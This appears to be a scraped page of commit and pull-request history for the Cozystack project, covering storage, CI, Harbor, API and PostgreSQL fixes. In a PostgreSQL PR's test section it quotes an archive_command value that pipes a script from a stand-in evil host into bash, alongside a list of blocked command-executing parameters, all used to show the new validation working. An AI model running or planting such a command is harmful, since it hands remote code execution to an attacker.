2022, identical symptom, no upstream fix - [LINBIT/drbd#74](https://github.com/LINBIT/drbd/issues/74) — same EBUSY pattern with multipathd holding the fd ### Validation - `git apply *.diff` on a fresh `v1.33.2` checkout applies all five patches cleanly in alphabetical order - Java brace/paren/bracket balance verified on the patched file - `helm template packages/system/linstor` renders without errors ### Release note ```release-note fix(linstor): retry `drbdadm secondary` after mkfs on transient `Device is held open by someone` errors. Prevents orphan PVs in `Released` phase from accumulating when an external block-device probe (Talos block-controller, udev, multipathd) wins a race against the post-mkfs demotion. Fail-fast behavior preserved for any other secondary failure. ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Implemented automatic retry logic for device secondary state transitions after filesystem creation. System now gracefully handles scenarios where devices are temporarily held open by other processes. * **Documentation** * Added documentation for the new device state transition patch. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
Andrei Kvapil
|
a4bd2741d6 |
fix(linstor): plunger demotes idle-Primary DRBD resources (#2539)
## What this PR does Adds a per-satellite plunger handler that detects DRBD resources stuck in `Primary` on the local node with no consumer and demotes them to `Secondary`. ### Background DRBD auto-promotes a resource to `Primary` during the provisioning path (`mkfs.ext4` against a freshly created replica, for example), but auto-demote sometimes fails to fire on close. The resource then stays `Primary` on a node that has no consumer pod, and CSI on the legitimate target node fails `NodePublishVolume` with: ``` failed to set source device readwrite: exit status 1 ``` The only recovery is an explicit `drbdadm secondary` on the stuck node — there is no upstream automation for it. This was hit deterministically in Cozystack e2e CI on freshly provisioned PVCs without any pod migration or node failure. Upstream tracker: piraeusdatastore/piraeus-operator#942 (and the related piraeusdatastore/linstor-csi#172). ### Implementation In `plunger-satellite.sh` (already running as a privileged sidecar on every linstor-satellite pod) add `drbd_fix_idle_primary`: ```jq .[]? | select(.role == "Primary") | select(all(.devices[]?; .open == false)) | .name ``` For every match, run `drbdadm secondary <res>`. ### Why this is safe - `open == false` on **every** device of the resource means no reader or writer holds the block device — the demote cannot interrupt I/O. - Both detection and action are local to the satellite, no peer coordination needed. - If a real consumer is about to arrive, DRBD auto-promote will redo the promotion when CSI opens the device — so even a misfire is a no-op. - The jq filter was validated against a live multi-node cluster (3 nodes, 22 legitimate Primaries, 0 false positives — every legitimate Primary has at least one `open: true` volume). ### Release note ```release-note fix(linstor): plunger now demotes DRBD resources stuck in Primary without a consumer, fixing transient `failed to set source device readwrite` mount errors during PVC provisioning. ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Enhanced DRBD resource management with automatic remediation for idle Primary resources. The system now detects resources lacking active device connections and safely demotes them to Secondary state during routine maintenance cycles. Robust error handling preserves existing recovery procedures while improving overall system stability and preventing potential resource conflicts. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
myasnikovdaniil
|
30729d7f00 |
fix(ci): generate changelog from release tag, not from main (#2530)
## What this PR does The `generate-changelog` job in `.github/workflows/tags.yaml` previously checked out `main` and ran the AI agent there. The agent followed `docs/agents/changelog.md`, which instructed it to compute the release range with `git log <previous_version>..HEAD`. That works for minor releases (cut from `main`), but it breaks for any patch release cut from a `release-X.Y` branch — `HEAD-on-main` is a strict superset of the tag and contains commits that were merged to `main` both before and after the tag. The v1.3.1 changelog generated by this workflow (#2480) demonstrated the failure mode: 8 PRs that were merged to `main` but never shipped in v1.3.1, 6 backport PRs that landed on `release-1.3` *after* v1.3.1 was tagged, both originals and their backports as separate entries, a hallucinated 2024 PR (#435), and the `cozystack-ci` bot in the contributors list. The corrected v1.3.1 changelog is in #2480. This PR fixes the root cause and tightens the agent guardrails: * **`tags.yaml`** — check out the release tag commit (`ref: ${{ steps.tag.outputs.tag }}`) instead of `main`, so `HEAD == release commit` and `git log v<prev>..HEAD` corresponds to what the tag actually contains. The "Create changelog branch" step still creates the PR branch from `origin/main`, so PRs continue to merge cleanly. * **`tags.yaml`** — the AI prompt now states explicitly that `HEAD` is the release commit and that the upper bound of the range is the new tag, never `main`. * **`docs/agents/changelog.md`** — every example replaces `..HEAD` with `..v<new_version>`, so the instruction is unambiguous regardless of which branch is checked out. * **`docs/agents/changelog.md`** — hard rule: backport PRs MUST be combined with the original into a single entry (`#1606, backport #1609`), never listed as a second entry. Documented edge case: if the original isn't in the range, drop the entry entirely (it shipped in a previous release). * **`docs/agents/changelog.md`** — forbid using the brief description verbatim as the detailed description (the failure was `* **fix(foo): X**: fix(foo): X (...)`), and forbid inventing entries for PRs outside the release range. * **`docs/agents/changelog.md`** — filter bot/CI accounts (`app/*`, `*[bot]`, `cozystack-ci`, `github-actions`, `dependabot`, `renovate`) out of the human Contributors list. Bot attribution on individual entries is still valid. The v1.3.1 changelog correction itself lives in #2480 (separate scope). ### Release note ```release-note fix(ci): tags.yaml now generates the release changelog from the tag commit instead of `main`, fixing patch-release changelogs (e.g. v1.3.1) that previously included unrelated commits from `main`. The AI prompt and `docs/agents/changelog.md` were tightened to forbid duplicate backport entries, title-as-description, fabricated PRs, and bot accounts in the Contributors list. ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Chores** * Changelog generation now checks out the release tag commit and verifies whether the release changelog already exists on main before generating. * Updated prompts and tooling to treat the release tag as the upper bound and avoid using HEAD when computing diffs. * Enforced combining original and backport PRs into single changelog entries with explicit “backport #…”. * **Documentation** * Strengthened authoring rules (distinct brief/detail, forbid invented entries, PRs must fall within tag-to-tag ranges). * Updated examples and guidance to use tag-to-tag comparisons and improved contributor extraction to use bold @user attribution while excluding automation accounts and the current release file. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
Myasnikov Daniil
|
4ecb8fb0d6 |
test(harbor): add helm-unittest coverage for bucket-secret guards
`hack/helm-unit-tests.sh` auto-discovers any package whose Makefile has a `test` target. `packages/system/harbor` had none, so the conditional rendering of `bucket-secret.yaml` (the path this PR actively reshapes) was un-asserted in CI and the bucket-secret guard would not be pinned against future refactors. Add the canonical `test: helm unittest .` target, matching every other `packages/system/*` package that ships a `tests/` directory (linstor-scheduler, linstor-gui, cozystack-scheduler, nfs-driver). Add `tests/bucket_secret_test.yaml` with seven cases covering: spec absent, spec empty, secretS3 absent, secretS3 empty, secretS3 partial (only one inner field), bucketName missing, and fully populated. The first six assert no Secret is rendered; the last asserts the four expected `stringData` entries plus the static region. 7/7 pass locally (`bash hack/helm-unit-tests.sh`). Assisted-By: Claude <noreply@anthropic.com> Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com> |
||
|
Myasnikov Daniil
|
5fb337de19 |
fix(harbor): guard registry-s3 render against partial BucketInfo
The COSI BucketAccess controller is expected to populate `BucketInfo` atomically, but the prior guard (`with .Values.spec` / `with .secretS3`) only short-circuits on missing or empty inputs. A partially populated `secretS3` would still emit the registry-s3 Secret with empty `accessSecretKey`/`endpoint` values, and a missing `bucketName` was not guarded at all — silently breaking Harbor's S3 storage backend. Tighten the inner guard to require all four required fields (accessKeyID, accessSecretKey, endpoint, bucketName) before the Secret is emitted, so partial input falls into the no-render path alongside unset/empty. The body now uses dot-access on `.secretS3` for consistency with the new gate. Behaviour for fully populated input is unchanged. Assisted-By: Claude <noreply@anthropic.com> Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com> |
||
|
Arsolitt
|
22d2a224bb |
test(kubernetes): rename ephemeralStorage to diskSize in kubelet tests
PR #2454 renamed the nodeGroups field ephemeralStorage to diskSize and added a migration guard that fails template rendering when the old name is used. Update kubelet reservation tests to use the new field name. Signed-off-by: Arsolitt <arsolitt@gmail.com> |
||
|
Arsolitt
|
d4808b9674 |
merge: resolve conflicts with main after PR #2454
Merge origin/main into feat/kubernetes-kubelet-reserved-resources. PR #2454 (persistent storage for worker nodes) landed in main and touched the same nodeGroups schema. Conflicts resolved by keeping both feature sets (kubelet reservations + persistent storage): - api/apps/v1alpha1/kubernetes/types.go: merged kubebuilder default marker with all keys from both features - packages/apps/kubernetes/README.md: merged Parameters table with diskSize/storageClass + kubelet* rows - packages/system/kubernetes-rd/cozyrds/kubernetes.yaml: merged openAPISchema and keysOrder, dropped stale ephemeralStorage path Signed-off-by: Arsolitt <arsolitt@gmail.com> |
||
|
Myasnikov Daniil
|
39605f213f |
docs(agents,ci): finish "tag-not-HEAD" sweep and fix changelog-exists gate
- tags.yaml: the check_changelog step now looks at origin/main rather than
the working tree. After Round 2 we check out the release tag, which never
has the changelog file (the PR opened by this job merges to main after
the tag is cut), so the previous `[ -f ]` test always returned false and
the gate was effectively dead on reruns.
- changelog.md: Step 6's `RELEASE_END=$(git log -1 --format=%ai HEAD)`
(lines 179, 222) was missed in the previous "never HEAD" sweep — now
uses v<new_version>, matching Step 5.
- changelog.md: Step 2 ("on main branch") was incompatible with the CI flow
which now runs detached at the release tag. Relaxed it to list both
configurations (interactive on main; CI detached at v<version>), while
the "Scope and boundaries" section continues to forbid the agent from
switching branches.
Assisted-By: Claude <noreply@anthropic.com>
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
|
||
|
myasnikovdaniil
|
d6cafd72dc |
fix(ci): pass app token to Publish draft release step (#2532)
## What this PR does
Adds an explicit `github-token: ${{ steps.app-token.outputs.token }}` to
the `Publish draft release` step in
`.github/workflows/pull-requests-release.yaml`.
Without this, the step uses the workflow's default `GITHUB_TOKEN`, which
does not return draft releases via `listReleases`. As a result the
script throws `Draft release for vX.Y.Z not found` on every
release-X.Y.Z PR merge — see e.g. the recent v1.3.1 finalize run
https://github.com/cozystack/cozystack/actions/runs/25102689625, plus
identical failures on v1.3.0, v1.0.0-beta.5, v1.0.0-alpha.2, v0.39.4,
v0.32.x, v0.31.x. Maintainers have been undrafting each release
manually.
This bug was fixed once before in
|
||
|
Aleksei Sviridkin
|
dff5f8d19a |
feat(kubernetes)!: replace ephemeral emptyDisk with persistent storage for worker nodes (#2454)
## What this PR does Replace the ephemeral `emptyDisk` volume on tenant Kubernetes worker VMs with persistent PVC-backed storage via KubeVirt `dataVolumeTemplates`. Previously, kubelet certificates, kubeconfig, and containerd state were lost on VM reboot, causing the node to fall out of the tenant cluster. **Changes:** - Rename `ephemeralStorage` field to `diskSize` in NodeGroup configuration - Replace `emptyDisk` volume with `dataVolumeTemplates` using CDI blank source - Add `cdi.kubevirt.io/storage.usePopulator: "false"` annotation to work around CDI volume population issues with LINSTOR CSI - Add optional per-nodeGroup `storageClass` field (defaults to cluster default) - Set fixed 2Gi ephemeral-storage resource for virt-launcher pod - Rename internal mount paths from `/ephemeral` to `/persistent` - Add helm unit tests (`cluster_test.yaml`) covering dataVolumeTemplates defaults, custom disk size, storageClass presence/absence, fixed ephemeral-storage, disk name consistency, and CDI populator annotation - Quote storage values in templates (`diskSize`, `storageClassName`) for Helm correctness - Guard bind-mount commands with `mountpoint -q` checks and create target directories to handle fresh images and cloud-init retries - Set `blockSize.matchVolume` on worker node disks for automatic block size detection, fixing DRBD 4Kn compatibility with QEMU **Known gotchas:** - CDI volume population (prime PVC rebind) causes `ClaimMisbound` errors with LINSTOR CSI driver, regardless of StorageClass (`replicated` or `local`). The `usePopulator: false` annotation switches to the legacy import path which works correctly. This is a known CDI issue documented in [kubevirt/containerized-data-importer#3146](https://github.com/kubevirt/containerized-data-importer/issues/3146). - The `replicated` StorageClass with DRBD `suspend-io` quorum policy can cause transient VM IO errors during LINSTOR satellite restarts (quorum loss). The `local` StorageClass is recommended for worker node disks. When `storageClass` is not specified in a nodeGroup, the cluster default StorageClass is used. - Existing clusters will trigger a rolling replacement of all worker nodes on upgrade due to changed KubevirtMachineTemplate hash. - DRBD volumes use 4096-byte logical sectors (`block-size 4096`). Without explicit block size configuration, QEMU defaults to 512-byte sectors, causing immediate IO errors and VM pause. The `blockSize.matchVolume` setting in the disk spec ensures KubeVirt auto-detects the correct sector size from the volume. **Tested on a live cluster:** - Verified DataVolume provisioning with `local` StorageClass - Verified nodes join the tenant cluster and reach Ready state - Verified node survives VM reboot (pod deletion) and returns to Ready with the same Node object, reusing kubelet certificates from persistent disk ### Screenshots N/A — no UI changes. ### Release note ```release-note feat(kubernetes)!: replace ephemeral emptyDisk with persistent storage for worker nodes Worker node VMs now use persistent PVC-backed disks instead of ephemeral emptyDisk volumes. Kubelet certificates, kubeconfig, and containerd state survive VM reboots, preventing nodes from falling out of the tenant cluster. BREAKING CHANGE: The `ephemeralStorage` field in nodeGroups has been renamed to `diskSize`. A new optional `storageClass` field allows per-nodeGroup storage class selection. Users must update their values overrides accordingly. Worker node disks now use `blockSize.matchVolume` to automatically detect the underlying volume's sector size, ensuring compatibility with DRBD-backed storage classes that use 4096-byte logical sectors. ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Optional storageClass parameter to select storage class for worker node persistent disks (defaults to cluster default). * Makefile test target added to run Helm unit tests for the chart. * **Configuration Changes** * Worker node storage parameter renamed from ephemeralStorage to diskSize (default: 20Gi). * Kubelet/containerd state moved to persistent disk paths and node ephemeral-storage accounting fixed to 2Gi; disk provisioning aligns block sizing with backing volumes. * **Documentation** * Updated docs and chart/schema to reflect the persistent disk model and new fields. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
Aleksei Sviridkin
|
4dbd4b0b85 |
fix(harbor): mark credentials Secret with user-secret label (#2541)
## What this PR does
- Stamps the Helm-managed `{{ .Release.Name }}-credentials` Secret with
`apps.cozystack.io/user-secret: "true"`.
- Adds a `matchLabels` rule to `secrets.include` in the Harbor
`ApplicationDefinition`, alongside the existing `resourceNames` entry.
The lineage webhook decides whether a Secret is tenant-visible by
matching its name against the `secrets.include[].resourceNames` template
in the corresponding `ApplicationDefinition`. For Harbor the template
`{{ .name }}-credentials` renders to `{name}-credentials` and does not
account for the `release.prefix: "harbor-"` set in the same definition,
while the Helm chart actually creates `harbor-{name}-credentials`. The
names never match, so the Secret ends up labelled
`internal.cozystack.io/tenantresource=false` and never appears in the
TenantSecrets API.
This change follows the existing `apps.cozystack.io/user-secret: "true"`
pattern already used by Bucket
(`packages/system/bucket/templates/user-credentials.yaml`) and RabbitMQ
(`packages/apps/rabbitmq/templates/rabbitmq.yaml`). The webhook then
matches via labels and is independent of how Helm names the Secret.
### Screenshots
Not applicable — no UI changes in this PR.
### Release note
```release-note
fix(harbor): expose Harbor credentials Secret to tenant-aware clients by marking it with the `apps.cozystack.io/user-secret` label, mirroring the pattern already used by Bucket and RabbitMQ.
```
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Updated Harbor configuration to support label-based secret discovery
alongside existing name-based selection, improving secret management
reliability.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
|
||
|
Aleksei Sviridkin
|
5278a632bc |
fix(api): apply labelSelector in TenantSecret Watch (#2542)
## What this PR does - Merges `opts.LabelSelector` into the underlying watch selector in `TenantSecret.Watch()`, mirroring the behaviour `List()` already has. - Handles non-selectable selectors (e.g. `labels.Nothing()`) by returning a watcher with a closed result channel. - Adds a defensive post-filter in the streaming goroutine so events never escape the requested selector even if a future client implementation skips label filtering on watch. - Adds `rest_test.go` covering label-selector merging in `List` and the new `Watch` filtering behaviour. `Watch()` previously ignored `opts.LabelSelector` entirely; only the required `internal.cozystack.io/tenantresource=true` label was passed through. As a result, watch consumers (e.g. dashboards using cached client subscriptions) saw every tenant Secret in the namespace regardless of the selector they requested. `List()` already merged the user selector correctly, so the inconsistency was easy to miss. The `Watch` unit test creates Secrets after the watch starts because `sigs.k8s.io/controller-runtime/pkg/client/fake.Client.Watch` does not emit initial ADDED events for objects already in the tracker; this still exercises the merged-selector path through the defensive post-filter. ### Screenshots Not applicable — backend-only change. ### Release note ```release-note fix(api): TenantSecret watch endpoint now honors `labelSelector`, returning only matching Secrets in event streams instead of every tenant Secret in the namespace. ``` <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved label selector handling for tenant secret listing and watching: special selectors are recognized, non-selectable selectors return empty results or a closed watch, and watched events are defensively filtered so only matching items are delivered. * **Tests** * Added comprehensive tests covering listing and watch behaviors across various label selector scenarios to prevent leaks and ensure correct event delivery. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
Aleksei Sviridkin
|
d9f95614bf |
feat(postgres): support all PostgreSQL configuration parameters (#2466)
## Summary
Enable configuration of any PostgreSQL server parameter through
`postgresql.parameters`, not just `max_connections`, with built-in
security protection against dangerous parameters.
## Problem
Previously, the Postgres application only applied `max_connections` from
`postgresql.parameters`. All other standard PostgreSQL parameters (e.g.,
`bgwriter_delay`, `commit_delay`, `shared_buffers`) were silently
ignored.
This limitation existed because:
- Helm template only processed `max_connections` explicitly
- JSON schema blocked additional properties
CloudNativePG supports any PostgreSQL parameter, so this restriction was
artificial.
## Solution
Changed `postgresql.parameters` from a struct with a single field to
`map[string]string`:
- **values.yaml**: Changed parameter type to map with usage examples and
warnings
- **values.schema.json**: Added `additionalProperties` to allow any
parameter
- **templates/db.yaml**: Use `merge` to combine defaults with user
parameters, preventing duplication
- **Security validation**: Block parameters that could allow shell
command execution
- **types.go**: Auto-regenerated with new structure (manual fix for
groupName)
- **README.md**: Added comprehensive warnings about blocked parameters,
CloudNativePG-managed parameters, restart requirements, and security
considerations
- **CRD**: Updated in postgres-rd
## Security Features
**Blocked parameters** (will fail deployment with clear error):
- `archive_command` — could execute shell commands during WAL archiving
- `restore_command` — could execute shell commands during recovery
- `ssl_passphrase_command` — could execute shell commands for SSL key
decryption
- `log_destination` — could redirect logs to shell pipes
- `event_source` — could be exploited for command injection
These parameters pose severe security risks and could allow arbitrary
code execution in PostgreSQL pods, potentially leading to pod escape and
privilege escalation in multi-tenant environments.
## Key Features
- **Security first**: Validates and blocks dangerous parameters
- **No duplication**: `max_wal_senders` default can be overridden
without conflicts
- **User priority**: User-specified parameters override defaults
- **Comprehensive warnings**: Documentation covers blocked parameters,
managed parameters, restart requirements, and security risks
## Testing
Verified with `helm template`:
**Basic parameters work:**
```yaml
postgresql:
parameters:
max_connections: "200"
shared_buffers: "1GB"
work_mem: "256MB"
```
**Dangerous parameters are blocked:**
```yaml
postgresql:
parameters:
archive_command: "curl http://evil.com/shell.sh | bash"
```
Results in: `SECURITY: Parameter 'archive_command' is blocked for
security reasons...`
**Override defaults:**
```yaml
postgresql:
parameters:
max_wal_senders: "50" # Overrides default "30"
```
All values are converted to strings as required by CloudNativePG.
## Breaking Changes
**`postgresql.parameters.max_connections`** now expects a string value
(`"100"`) instead of integer.
**Impact**: Existing configurations using integer values will be
automatically converted by Helm templating, but explicit string values
are recommended for clarity.
**Migration**: Change `max_connections: 100` to `max_connections: "100"`
in values.
## Documentation
Added warnings about:
- Blocked parameters (security)
- CloudNativePG-managed parameters (do not override)
- Parameters requiring pod restart
- Security-sensitive parameters
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Rendering now fails fast if blocked/sensitive PostgreSQL parameters
are supplied.
* Chart supplies a default for WAL senders during values merge.
* **Refactor**
* PostgreSQL parameters changed to a flexible map of string→string;
numeric values must be quoted (e.g., "100").
* **Documentation**
* Docs and schemas updated with string-only guidance, default values
(e.g., "100") and warnings about managed parameters.
* **Tests**
* E2E test values updated to use quoted parameter values.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
|